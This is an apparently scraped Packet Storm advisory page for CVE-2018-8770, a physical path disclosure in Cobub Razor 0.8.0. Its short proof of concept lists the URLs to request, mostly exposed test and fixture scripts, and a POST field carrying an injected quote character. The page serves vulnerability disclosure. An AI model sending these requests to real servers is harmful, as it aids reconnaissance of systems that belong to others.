Lucene search

K
packetstormKyhvednPACKETSTORM:147279
HistoryApr 20, 2018 - 12:00 a.m.

Cobub Razor 0.8.0 Path Disclosure

2018-04-2000:00:00
Kyhvedn
packetstormsecurity.com
15

0.002 Low

EPSS

Percentile

64.7%

`# Exploit Title: Cobub Razor 0.8.0 Physical path Leakage Vulnerability  
# Date: 2018-04-19  
# Exploit Author: Kyhvedn  
# Vendor Homepage: http://www.cobub.com/  
# Software Link: https://github.com/cobub/razor  
# Version: 0.8.0  
# CVE : CVE-2018-8770  
  
#PoC:  
  
URL: http://localhost/export.php  
HTTP Method: GET  
URL: http://localhost/index.php?/manage/channel/addchannel  
HTTP Method: POST  
Data: channel_name=test"&platform=1  
  
HTTP Method: GET  
http://localhost/tests/generate.php  
http://localhost/tests/controllers/getConfigTest.php  
http://localhost/tests/controllers/getUpdateTest.php  
http://localhost/tests/controllers/postclientdataTest.php  
http://localhost/tests/controllers/posterrorTest.php  
http://localhost/tests/controllers/posteventTest.php  
http://localhost/tests/controllers/posttagTest.php  
http://localhost/tests/controllers/postusinglogTest.php  
http://localhost/tests/fixtures/Controller_fixt.php  
http://localhost/tests/fixtures/Controller_fixt2.php  
http://localhost/tests/fixtures/view_fixt2.php  
http://localhost/tests/libs/ipTest.php  
http://localhost/tests/models/commonDbfix.php  
  
`

0.002 Low

EPSS

Percentile

64.7%